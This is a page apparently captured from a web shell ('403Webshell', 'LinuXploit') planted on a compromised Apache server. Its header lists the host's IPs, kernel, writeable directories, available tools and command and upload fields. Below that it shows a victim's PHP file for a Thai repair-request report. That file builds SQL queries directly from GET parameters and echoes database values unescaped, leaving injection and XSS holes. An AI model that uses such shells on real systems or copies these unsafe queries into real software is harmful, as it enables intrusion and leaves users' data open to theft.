403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/CAR/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/CAR/test.php
<?php
	$ebits = ini_get('error_reporting');
	error_reporting($ebits ^ E_NOTICE);
	include("dbconfig.php");
	include( "function.php" );
	if (isset($_GET['RType'])) $TypeRep = $_GET['RType'];
	else  $TypeRep = 'All';
	if (isset($_GET['RDate'])) $DateRep = $_GET['RDate'];
	else  $DateRep = 'All';
	$comp = '';
	$nRecords = 0;
	$nComplete=0;
	$nPerC = 0;
	$nSum =0;
	$ThaiDow = array('จ.', 'อ.', 'พ.', 'พฤ.','ศ.','ส.','อา.');
	if ($DateRep == 'All'){   
		$dd1 = date('d',strtotime("-1 years"));
		$mm1 = date('m',strtotime("-1 years")) ;
		$yy1 = date('Y',strtotime("-1 years"))+543 ;
		
		$dd2 = date("d") ;
		$mm2 = date("m") ;
		$yy2 = date("Y")+543 ;
	} else {
		$dd1 = substr($DateRep,6,2);
		$mm1 = substr($DateRep,4,2);
		$yy1 = substr($DateRep,0,4);
		
		$dd2 = substr($DateRep,14,2);
		$mm2 = substr($DateRep,12,2);
		$yy2 = substr($DateRep,8,4);
	}
	$date_start = "$dd1/$mm1/$yy1"; 
	$date_end = "$dd2/$mm2/$yy2"; 
?>
<script type="text/javascript"> 
<!--
function getValue(vname) { 
	var n = document.getElementById(vname).value
	return n;
} 
function changeFunc() {
   	var URL;
	URL= "<?php echo $_SERVER['PHP_SELF'] ?>";
	URL+="?&RType=";
	URL+=getValue('TypeID');
	URL+="&RDate=";
	URL+=getValue('yy1');
	URL+=getValue('mm1');
	URL+=getValue('dd1');
	URL+=getValue('yy2');
	URL+=getValue('mm2');
	URL+=getValue('dd2');
	window.location=URL;
}

</SCRIPT>


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>ติดตามการขอใช้รถ</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<style type="text/css">
<!--
.style4 {font-size: 16pt;
	color: #3399FF;
}
.style5 {font-family: Verdana, Arial, Helvetica, sans-serif}
.style6 {font-size: 16pt;
	color: #FFFFFF;
}
.style16 {font-size: 16pt; color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif; }
.style17 {color: #FFFFFF}
-->
</style>
</head>
<body>
<TABLE height=85 cellSpacing=0 cellPadding=0 width="100%" border=0>
  <TBODY>
    <TR> 
      <TD style="BACKGROUND-COLOR: #f0f7ff" colSpan=2></TD>
    </TR>
    <TR bgColor=#c7d2e7> 
      <TD class=thwbold width="88%" height=28><div align="center">&nbsp;<font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif"><strong> 
          แสดงใบขอรถทั้งหมด </strong></font></div></TD>
      <TD width="12%" height=28 align=right vAlign=center bgColor=#c7d1e7 class=thsans><div align="right"> 
          <A 
      href=""></A> &nbsp;<img src="../reportservice/images/q.gif" width="18" height="18"><img src="../reportservice/images/youraccount.gif" width="18" height="18"><img src="../reportservice/images/cart.gif" width="18" height="18">&nbsp; 
          <A href=""></A> <A 
      href=""></A>&nbsp; </div></TD>
    </TR>
    <TR> 
      <TD style="BACKGROUND-COLOR: black" colSpan=2></TD>
    </TR>
    <TR> 
      <TD style="BACKGROUND-COLOR: #f0f8ff" colSpan=2></TD>
    </TR>
    <TR vAlign=center bgColor=#216289> 
      <TD class=thwbold colSpan=2 height=21> <TABLE height="95%" cellSpacing=0 cellPadding=1 width="99%" align=center 
      border=0>
          <TBODY>
            <TR> 
              <TD width="6%" height="22"  
          
          align=middle><font color="#FFFFFF" size="4" face="Microsoft Sans Serif, MS Sans Serif, sans-serif"><a href="../reportservice/3/index.php" target="_parent"><font size="2"> 
                </font><font color="#FFFFFF" size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">หน้าแรก</font></a></font></TD>
              <TD  
          
           align=middle width="15%"><font color="#FFFFFF">&nbsp; </font></TD>
              <TD 
          
           align=middle width="14%"><font color="#FFFFFF">&nbsp;</font></TD>
              <TD width="22%" 
          
           align=middle><font color="#FFFFFF">&nbsp;</font></TD>
              <TD 
          
           align=middle width="18%"><font color="#FFFFFF" size="4" face="Microsoft Sans Serif, MS Sans Serif, sans-serif"><a href="../reportservice/3/rep_driver3.php" target="_parent"><font color="#FFFFFF" size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">ดูผลการประเมินและรายงาน</font></a></font><font color="#FFFFFF"><SPAN 
            class=thsans2 id=n5></SPAN></font></TD>
              <TD 
          
         align=middle width="2%"><font color="#FFFFFF">&nbsp;</font></TD>
              <TD class=thtahomasmall  
           align=middle width="23%"><a href="../reportservice/3/logout.php"><font color="#FFFFFF" size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">Logout 
                ออกจากระบบ</font></a></TD>
            </TR>
          </TBODY>
        </TABLE></TD>
    </TR>
    <TR> 
      <TD style="BACKGROUND-COLOR: black; heigth: 1" 
colSpan=2></TD>
    </TR>
  </TBODY>
</TABLE><br><br>
<!--<form name="form1" method="post" action="../reportservice/3/follow.php">-->
<form name="form1" method="post"">  
<div align="center"> 
	<table width="30%" border="0" cellspacing="0" cellpadding="0">
    	<tr> 
        	<td width="26%"><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">ระหว่างวันที่</font></td>
        	<td width="74%">
            	<font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif"> 
                <select name="dd1" id="dd1">
                	<option value="01" <?php if($dd1 == '01'){echo("selected");}?> >01</option>
                    <option value="02" <?php if($dd1 == '02'){echo("selected");}?>>02</option>
                    <option value="03" <?php if($dd1 == '03'){echo("selected");}?>>03</option>
                    <option value="04" <?php if($dd1 == '04'){echo("selected");}?>>04</option>
                    <option value="05" <?php if($dd1 == '05'){echo("selected");}?>>05</option>
                    <option value="06" <?php if($dd1 == '06'){echo("selected");}?>>06</option>
                    <option value="07" <?php if($dd1 == '07'){echo("selected");}?>>07</option>
                    <option value="08" <?php if($dd1 == '08'){echo("selected");}?>>08</option>
                    <option value="09" <?php if($dd1 == '09'){echo("selected");}?>>09</option>
                    <option value="10" <?php if($dd1 == '10'){echo("selected");}?>>10</option>
                    <option value="11" <?php if($dd1 == '11'){echo("selected");}?>>11</option>
                    <option value="12" <?php if($dd1 == '12'){echo("selected");}?>>12</option>
                    <option value="13" <?php if($dd1 == '13'){echo("selected");}?>>13</option>
                    <option value="14" <?php if($dd1 == '14'){echo("selected");}?>>14</option>
                    <option value="15" <?php if($dd1 == '15'){echo("selected");}?>>15</option>
                    <option value="16" <?php if($dd1 == '16'){echo("selected");}?>>16</option>
                    <option value="17" <?php if($dd1 == '17'){echo("selected");}?>>17</option>
                    <option value="18" <?php if($dd1 == '18'){echo("selected");}?>>18</option>
                    <option value="19" <?php if($dd1 == '19'){echo("selected");}?>>19</option>
                    <option value="20" <?php if($dd1 == '20'){echo("selected");}?>>20</option>
                    <option value="21" <?php if($dd1 == '21'){echo("selected");}?>>21</option>
                    <option value="22" <?php if($dd1 == '22'){echo("selected");}?>>22</option>
                    <option value="23" <?php if($dd1 == '23'){echo("selected");}?>>23</option>
                    <option value="24" <?php if($dd1 == '24'){echo("selected");}?>>24</option>
                    <option value="25" <?php if($dd1 == '25'){echo("selected");}?>>25</option>
                    <option value="26" <?php if($dd1 == '26'){echo("selected");}?>>26</option>
                    <option value="27" <?php if($dd1 == '27'){echo("selected");}?>>27</option>
                    <option value="28" <?php if($dd1 == '28'){echo("selected");}?>>28</option>
                    <option value="29" <?php if($dd1 == '29'){echo("selected");}?>>29</option>
                    <option value="30" <?php if($dd1 == '30'){echo("selected");}?>>30</option>
                    <option value="31" <?php if($dd1 == '31'){echo("selected");}?>>31</option>
              	</select>
          		เดือน 
                <select name="mm1" id="mm1">
                    <option value="01" <?php if($mm1 == '01'){echo("selected");}?>>มกราคม</option>
                    <option value="02" <?php if($mm1 == '02'){echo("selected");}?>>กุมภาพันธ์</option>
                    <option value="03" <?php if($mm1 == '03'){echo("selected");}?>>มีนาคม</option>
                    <option value="04" <?php if($mm1 == '04'){echo("selected");}?>>เมษายน</option>
                    <option value="05" <?php if($mm1 == '05'){echo("selected");}?>>พฤษภาคม</option>
                    <option value="06" <?php if($mm1 == '06'){echo("selected");}?>>มิถุนายน</option>
                    <option value="07" <?php if($mm1 == '07'){echo("selected");}?>>กรกฎาคม</option>
                    <option value="08" <?php if($mm1 == '08'){echo("selected");}?>>สิงหาคม</option>
                    <option value="09" <?php if($mm1 == '09'){echo("selected");}?>>กันยายน</option>
                    <option value="10" <?php if($mm1 == '10'){echo("selected");}?>>ตุลาคม</option>
                    <option value="11" <?php if($mm1 == '11'){echo("selected");}?>>พฤศจิกายน</option>
                    <option value="12" <?php if($mm1 == '12'){echo("selected");}?>>ธันวาคม</option>
				</select>
          		พ.ศ.<input name="yy1" type="text" id="yy1" value="<?php echo $yy1; ?>" size="4" maxlength="4">
        		</font>
			</td>
		</tr>
      	<tr> 
        	<td height="21"><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">ถึง</font></td>
        	<td><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">
          		<select name="dd2" id="dd2">
                	<option value="01" <?php if($dd2 == '01'){echo("selected");}?> >01</option>
                    <option value="02" <?php if($dd2 == '02'){echo("selected");}?>>02</option>
                    <option value="03" <?php if($dd2 == '03'){echo("selected");}?>>03</option>
                    <option value="04" <?php if($dd2 == '04'){echo("selected");}?>>04</option>
                    <option value="05" <?php if($dd2 == '05'){echo("selected");}?>>05</option>
                    <option value="06" <?php if($dd2 == '06'){echo("selected");}?>>06</option>
                    <option value="07" <?php if($dd2 == '07'){echo("selected");}?>>07</option>
                    <option value="08" <?php if($dd2 == '08'){echo("selected");}?>>08</option>
                    <option value="09" <?php if($dd2 == '09'){echo("selected");}?>>09</option>
                    <option value="10" <?php if($dd2 == '10'){echo("selected");}?>>10</option>
                    <option value="11" <?php if($dd2 == '11'){echo("selected");}?>>11</option>
                    <option value="12" <?php if($dd2 == '12'){echo("selected");}?>>12</option>
                    <option value="13" <?php if($dd2 == '13'){echo("selected");}?>>13</option>
                    <option value="14" <?php if($dd2 == '14'){echo("selected");}?>>14</option>
                    <option value="15" <?php if($dd2 == '15'){echo("selected");}?>>15</option>
                    <option value="16" <?php if($dd2 == '16'){echo("selected");}?>>16</option>
                    <option value="17" <?php if($dd2 == '17'){echo("selected");}?>>17</option>
                    <option value="18" <?php if($dd2 == '18'){echo("selected");}?>>18</option>
                    <option value="19" <?php if($dd2 == '19'){echo("selected");}?>>19</option>
                    <option value="20" <?php if($dd2 == '20'){echo("selected");}?>>20</option>
                    <option value="21" <?php if($dd2 == '21'){echo("selected");}?>>21</option>
                    <option value="22" <?php if($dd2 == '22'){echo("selected");}?>>22</option>
                    <option value="23" <?php if($dd2 == '23'){echo("selected");}?>>23</option>
                    <option value="24" <?php if($dd2 == '24'){echo("selected");}?>>24</option>
                    <option value="25" <?php if($dd2 == '25'){echo("selected");}?>>25</option>
                    <option value="26" <?php if($dd2 == '26'){echo("selected");}?>>26</option>
                    <option value="27" <?php if($dd2 == '27'){echo("selected");}?>>27</option>
                    <option value="28" <?php if($dd2 == '28'){echo("selected");}?>>28</option>
                    <option value="29" <?php if($dd2 == '29'){echo("selected");}?>>29</option>
                    <option value="30" <?php if($dd2 == '30'){echo("selected");}?>>30</option>
                    <option value="31" <?php if($dd2 == '31'){echo("selected");}?>>31</option>
              	</select>
          		  เดือน 
                  <select name="mm2" id="mm2">
                    <option value="01" <?php if($mm2 == '01'){echo("selected");}?>>มกราคม</option>
                    <option value="02" <?php if($mm2 == '02'){echo("selected");}?>>กุมภาพันธ์</option>
                    <option value="03" <?php if($mm2 == '03'){echo("selected");}?>>มีนาคม</option>
                    <option value="04" <?php if($mm2 == '04'){echo("selected");}?>>เมษายน</option>
                    <option value="05" <?php if($mm2 == '05'){echo("selected");}?>>พฤษภาคม</option>
                    <option value="06" <?php if($mm2 == '06'){echo("selected");}?>>มิถุนายน</option>
                    <option value="07" <?php if($mm2 == '07'){echo("selected");}?>>กรกฎาคม</option>
                    <option value="08" <?php if($mm2 == '08'){echo("selected");}?>>สิงหาคม</option>
                    <option value="09" <?php if($mm2 == '09'){echo("selected");}?>>กันยายน</option>
                    <option value="10" <?php if($mm2 == '10'){echo("selected");}?>>ตุลาคม</option>
                    <option value="11" <?php if($mm2 == '11'){echo("selected");}?>>พฤศจิกายน</option>
                    <option value="12" <?php if($mm2 == '12'){echo("selected");}?>>ธันวาคม</option>
				</select>
                  พ.ศ. <input name="yy2" type="text" id="yy2" value="<?php echo $yy2; ?>" size="4" maxlength="4">
          		</font>
			</td>
		</tr>
    </table>
    <?php	
			$begin =  $yy1."-".$mm1."-".$dd1 ;
			$end 	=  $yy2."-".$mm2."-".$dd2 ;	
			$date1 = strtotime( substr($begin,0,4)-543 . substr($begin,4,6) );
			$fDow =  date('N',$date1);
			$nDays = floor((strtotime( substr($end,0,4)-543 . substr($end,4,6) )-$date1)/ 86400)+1;//seconds to Days
			$nHolidays =  floor($nDays/7);	//weeks
			$nOTs = $nDays - ($nHolidays*7);
			$nHolidays = $nHolidays *2;
			if ( $nOTs > 0){
				$nJobs = $fDow+$nOTs-1;
				if ($nJobs = 6) $nHolidays=$nHolidays+1;	//เสาร์
				else if ($nJobs > 6) $nHolidays=$nHolidays+2;	//อาทิตย์
			}
			$nOTs =0;
			$nJobs=0;
			mysql_select_db($__db__);
			mysql_query(" SET NAMES 'tis620'; ");
			$sql="select  count(*) as items  from tran  where  date1 between '$begin' and '$end' and ( not com ='computer' or com is null ) order by  no  DESC ";
			$result = mysql_query($sql);
			while ($object = mysql_fetch_object($result)) {
				 $nRecords  = $object ->items ;
			}
			$sql="select  count(*) as items  from tran  where  date1 between '$begin' and '$end' and ( not com ='computer' or com is null ) and  substr(complete,1,12)='งานซ่อมเสร็จ' order by  no  DESC" ;
			$result = mysql_query($sql);
			while ($object = mysql_fetch_object($result)) {
				 $nComplete  = $object ->items ;
			}
			if ($nRecords > 0 ){
				$nPerC= $nComplete*100/$nRecords;
			} 
  	?>
    <p align="center"><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">เลือกแสดงข้อมูล
    <select name="TypeID" id="TypeID" onChange="changeFunc()" >
      <option value="All" <?php if($TypeRep == 'All'){echo("selected");}?> onClick="changeFunc()">&nbsp;&nbsp;ทั้งหมด</option>
      <option value="Wai" <?php if($TypeRep == 'Wai'){echo("selected");}?> onClick="changeFunc()">&nbsp;&nbsp;รออนุมัติ</option>
      <option value="Not" <?php if($TypeRep == 'Not'){echo("selected");}?> onClick="changeFunc()">&nbsp;&nbsp;กำลังดำเนินการ</option>
      <option value="Com" <?php if($TypeRep == 'Com'){echo("selected");}?> onClick="changeFunc()">&nbsp;&nbsp;ซ่อมเสร็จแล้ว</option>
    </select>
    </font>
    </p>
    </div>
    <p align="center"><font color="#000066" size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif"><strong>แสดงการยื่นใบขออนุมัติซ่อมตั้งแต่วันที่ &nbsp;
    <?php echo $dd1."-".$mm1."-".$yy1 ; ;?> &nbsp;&nbsp; ถึงวันที &nbsp;&nbsp;<?php echo $dd2."-".$mm2."-".$yy2 ; ; ?> &nbsp;&nbsp;แจ้งซ่อมทั้งหมด จำนวน&nbsp;&nbsp; <?php echo  $nRecords ; ?>&nbsp;งาน
    &nbsp;&nbsp;ซ่อมเสร็จ&nbsp;&nbsp; <?php echo  $nComplete ; ?> &nbsp;งาน&nbsp;=&nbsp;&nbsp; <?php echo  number_format($nPerC, 2).' %'; ?>  </strong></font> </p>
	<table width="100%" border="1" align="center" bordercolor="#CC99CC">
    	<tr background="../reportservice/3/Background6.jpg"> 
		  <td width="9%" height="30" background="../reportservice/3/Background2.jpg"><div align="center"><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">วันที่</font></div></td>
			<td width="6%" background="../reportservice/3/Background2.jpg"><div align="center"><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">เวลา</font></div></td>
			<td width="29%" background="../reportservice/3/Background2.jpg"><div align="center"><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">พัสดุที่ต้องการซ่อม / หมายเลขครุภัณฑ์</font></div></td>
			<td width="11%" background="../reportservice/3/Background2.jpg"><div align="center"><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif"> หมายเลขครุภัณฑ์</font></div></td>
			<td width="17%" background="../reportservice/3/Background2.jpg"><div align="center"><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif"><font size="2">รุ่น / ยี่ห้อ / อายุการใช้งาน </font> </font></div></td>
			<td width="9%" background="../reportservice/3/Background2.jpg"><div align="center"><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">ผู้ขอ</font></div></td>
			<td width="9%" background="../reportservice/3/Background2.jpg"><div align="center"><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">ขั้นตอนดำเนินการ</font></div></td>
			<td width="10%" background="../reportservice/3/Background2.jpg"><div align="center"><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">คาดว่าจะแล้วเสร็จใน</font></div></td>
 		</tr>
		<?php	
			switch ($TypeRep) { 
				case 'All':
					$sql="select  *  from tran  where  date1 between '$begin' and '$end'  and  (com <> 'computer' or com is null ) order by  date  DESC";
					break;
				case 'Wai':
					$sql="select  *  from tran  where  date1 between '$begin' and '$end'  and  (com <>'computer' or com is null ) and substr(complete,1,12) <> 'งานซ่อมเสร็จ' and  (boss is null or length(boss) <= 3) order by  date  DESC";
					break;
					
				case 'Not':
					$sql="select  *  from tran  where  date1 between '$begin' and '$end'  and  (com <>'computer' or com is null ) and (complete is null or substr(complete,1,12) <> 'งานซ่อมเสร็จ') order by  date  DESC ";
					break;
				case 'Com':
					$sql="select  *  from tran  where  date1 between '$begin' and '$end'  and  (com <>'computer' or com is null ) and substr(complete,1,12) ='งานซ่อมเสร็จ' order by  date  DESC";
					break;
			}
			$result = mysql_query($sql);
			while ($object = mysql_fetch_object($result)) {
				$nSum=$nSum+1;
				$compx = $object ->complete ;
				$date1 = $object ->date1 ;
				$date2 = $object ->date2 ;
				$target = $object -> target ;
				$time1 = $object -> time1 ;
				$time2 = $object -> time2 ;
				$user_id = $object ->user_id;
				$driver = $object ->driver;
				$boss = $object ->boss;
				$no = $object ->no;
				$comment = $object ->comment;
				$approve = $object -> approve ;
				$name = $object ->user_id;
				$car_id = $object ->car_id;
				$car_id2 = $object ->car_id2;
				$assetno = $object -> assetno;
				$brand = $object -> brand;
				$fDow = date('N',strtotime( substr($date1,0,4)-543 . substr($date1,4,6) ));
				if ($fDow < 6) $nJobs=$nJobs+1;
				else $nOTs = $nOTs+1;
				$dow = $ThaiDow[ $fDow-1];
				if (substr($compx,0,12) == 'งานซ่อมเสร็จ') $step = 'งานซ่อมเสร็จแล้ว';
				else if (substr($compx,0,4) == 'รอดำ') $step = 'รอดำเนินการ';
				else if (strlen($driver) >= 3 ) $step = "จัดช่างเรียบร้อยแล้ว" ;
				else if (strlen($comment) > 3 ) $step =  "ไม่สามารถจัดช่างซ่อม" ;
				else if (strlen($boss) <= 2 ) $step =  "รอผู้สั่งซ่อมลงนาม" ;
				else if (strlen($ิappove) <= 3 ) $step =  "รอหัวหน้าช่าง" ;
				else  $step =  "รอการจัดช่าง";
				mysql_select_db($__dbwp__);
				mysql_query(" SET NAMES 'tis620'; ");
				$sqll="select  id,name  from user  where id = '$user_id'";//ผุ้แจ้งซ่อม
				$lresult=mysql_query($sqll);
				while ($objectl = mysql_fetch_object($lresult)) {
					 $name = $objectl->name;
				}
				if (strlen($boss) > 4 ) {
					mysql_select_db($__dbwp__);
					mysql_query(" SET NAMES 'tis620'; ");
					$bsql="select  id,name  from user  where id = '$boss'"; //ผู้อนุมัติ
					$bresult=mysql_query($bsql) or die(mysql_error());
					while ($bobject = mysql_fetch_object($bresult)){
						$nameboss = $bobject->name;
					 }
				}
				$sqll="select  id,name  from user  where id = '$driver'";	//ช่าง
				$lresult=mysql_query($sqll);
				while ($objectl = mysql_fetch_object($lresult)) {
					 $driver = $objectl->name;
				}
				?>
                <tr> 
                    <td><div align="left"><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif"> 
                    <img src="../../images/<?php  
                    switch($step ){
						case 'งานซ่อมเสร็จแล้ว' : 
							echo 'gear_ok.png'; 
							break ;
						case 'รอดำเนินการ': 
							echo 'folder.png';
							break ;
						case "รอผู้สั่งซ่อมลงนาม": 
							echo 'q.png';
							break ;
						case "จัดช่างเรียบร้อยแล้ว": 
							echo 'gear.gif';
							break ;
						case "ไม่สามารถจัดช่างซ่อม": 
							echo 'delete.png' ;
							break ;
						default :		
							echo 'Exclamation.png' ;
							break ;
					} // switch

					?>
                    " width="20" height="20"> <a href="../reportservice/3/reserv_sit.php?no=<?php echo $no; ?>&name=<?php echo $name ;?>&boss=<?php echo $nameboss ;?>"> 
                    <?php echo formatDateshow($date1)."  ".$dow;?></a></font></div>
                    </td>
                    <td><div align="center"><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif"><?php echo $time1 ;?></font></div></td>
                    <td><div align="center"><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif"><?php echo $target ;?></font></div></td>
                    <td><div align="center"><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif"><?php echo $assetno ;?></font></div></td>
                    <td><div align="center"><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif"><?php echo $brand ;?></font></div></td>
                    <td><div align="center"><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif"><?php echo $name ;?></font></div></td>
                    <td><div align="center"><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif"><?php echo $step ;?></font></div></td>
                    <td><div align="center"> <p><font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">
                        <input name="car_id2" type="hidden" id="car_id2" value="<?php echo $car_id2 ;?>">
                        <input type="hidden" name="textfield2"  value="<?php echo $car_id2 ; ?>" readonly >
                        <?php echo "<font color=\"#1A02FF\"> $car_id2 </font>"; ?></font></p>
                        </div>
                     </td>
                </tr>
			    <?php
		  	}
			//	mysql_free_result($result);
		?>
	</table>
    
</form>
 <p align="center"><font color="#000066" size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif"><strong>แสดงการยื่นใบขออนุมัติซ่อมตั้งแต่วันที่ &nbsp;
    <?php echo $dd1."-".$mm1."-".$yy1 ; ;?> &nbsp;&nbsp; ถึงวันที &nbsp;&nbsp;<?php echo $dd2."-".$mm2."-".$yy2 ; ; ?> &nbsp; &nbsp;จำนวน&nbsp;&nbsp; <?php echo  $nSum ; ?><br>
    ใบขออนุมัติซ่อม ทั้งหมด &nbsp;<?php echo $nsum ;?> &nbsp;&nbsp; วัน จ. - ศ. &nbsp;&nbsp;<?php echo $nJobs.'   ('. number_format($nJobs/($nDays-$nHolidays),2).' ต่อวัน)' ; ?> 
    &nbsp; วัน ส.- อา. &nbsp;&nbsp;<?php  echo $nOTs.'   ('. number_format( $nOTs/$nHolidays,2)  .' ต่อวัน)'  ;  ?></strong></font>
 </p>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit